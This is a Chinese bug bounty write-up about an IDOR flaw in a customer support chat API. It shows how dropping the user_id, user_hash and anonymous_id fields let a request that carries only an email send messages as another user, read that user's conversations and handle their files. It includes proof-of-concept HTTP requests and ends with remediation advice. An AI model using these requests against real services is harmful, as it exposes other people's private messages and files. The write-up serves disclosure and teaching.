挖洞经验丨客户支持聊天系统中的IDOR漏洞($5,000)
字数 1187 2025-08-18 11:38:32
客户支持聊天系统中的IDOR漏洞分析与利用教学
漏洞概述
本教学文档详细分析了一个客户支持聊天系统中存在的IDOR(不安全的直接对象引用)漏洞,该漏洞被评为严重级别(Critical),获得了$5000美金的奖励。通过此漏洞,攻击者可以:
- 读取任意用户的聊天消息
- 以任意用户身份发送消息
- 下载任意用户的相关文件
漏洞发现过程
初始请求分析
在客户支持聊天窗口中,用户发送消息时后台会产生如下请求:
POST /messenger/web/conversations HTTP/1.1
{
"text": "testing by john wick2!",
"user_id": "12345",
"email": "user@example.com",
"user_hash": "a1b2c3d4e5f6",
"anonymous_id": "xyz789",
"blocks": []
}
服务端响应示例:
{
"id": "67890",
"text": "testing by john wick2!",
"user_id": "12345",
"email": "user@example.com"
}
漏洞测试步骤
测试1:替换user_id参数
将请求中的user_id参数替换为其他用户的ID值:
- 结果:服务端返回解析错误
- 结论:直接修改user_id被检测到
测试2:删除user_hash参数
仅删除user_hash参数值:
- 响应:"基于用户身份验证机制,必须对用户进行哈希值验证"
- 结论:哈希验证是强制的,与user_id有映射关系
测试3:同时删除user_id和user_hash
删除这两个参数:
- 响应:与测试2相同 - "User hash is invalid"
- 结论:系统仍然依赖其他验证机制
测试4:删除user_id、user_hash和anonymous_id
仅保留email参数:
POST /messenger/web/conversations HTTP/1.1
{
"text": "hello this jaya222",
"email": "user@example.com",
"blocks": []
}
- 结果:成功发送消息并获得有效响应
- 结论:系统仅通过email参数验证用户身份,存在IDOR漏洞
漏洞利用(PoC)
消息发送利用
构造仅含email参数的请求:
POST /messenger/web/conversations HTTP/1.1
{
"text": "攻击测试消息",
"email": "victim@example.com",
"blocks": []
}
- 效果:可以victim用户身份发送消息
会话内容获取
-
首先通过短URL获取用户ID:
POST /messenger/web/conversations { "email": "victim@example.com" }- 响应中包含用户ID
-
使用获取的ID构造请求:
GET /messenger/web/conversations/[conversation-id]- 效果:获取victim用户的全部会话内容
文件操作
通过类似方式可以:
- 以victim用户身份上传文件
- 下载victim用户的文件资料
漏洞原理分析
该漏洞的根本原因在于:
- 后端系统错误地将
email参数作为唯一身份验证凭据 - 缺乏对其他参数的必要性验证
- 访问控制机制存在缺陷,未实施最小权限原则
防御建议
-
实施全面的身份验证:
- 不应仅依赖单个参数进行身份验证
- 实现多因素验证机制
-
严格的访问控制:
- 实施基于角色的访问控制(RBAC)
- 每次请求都应验证会话令牌
-
参数完整性检查:
- 验证所有必需参数的存在和有效性
- 实现参数间的关联性验证
-
使用间接引用映射:
- 避免直接使用数据库ID作为引用
- 使用临时令牌或UUID替代
-
日志记录与监控:
- 记录所有敏感操作
- 监控异常参数组合
测试方法论总结
- 不要因初步测试失败而放弃
- IDOR测试应包括:
- 参数值替换
- 参数删除测试
- 参数组合测试
- 重点关注所有与用户身份相关的参数
- 系统可能通过非显式参数进行身份验证
通过本案例可以看出,IDOR漏洞不仅限于简单的参数值替换,还可能通过参数删除或特定参数组合来发现。全面系统的测试方法对于发现此类漏洞至关重要。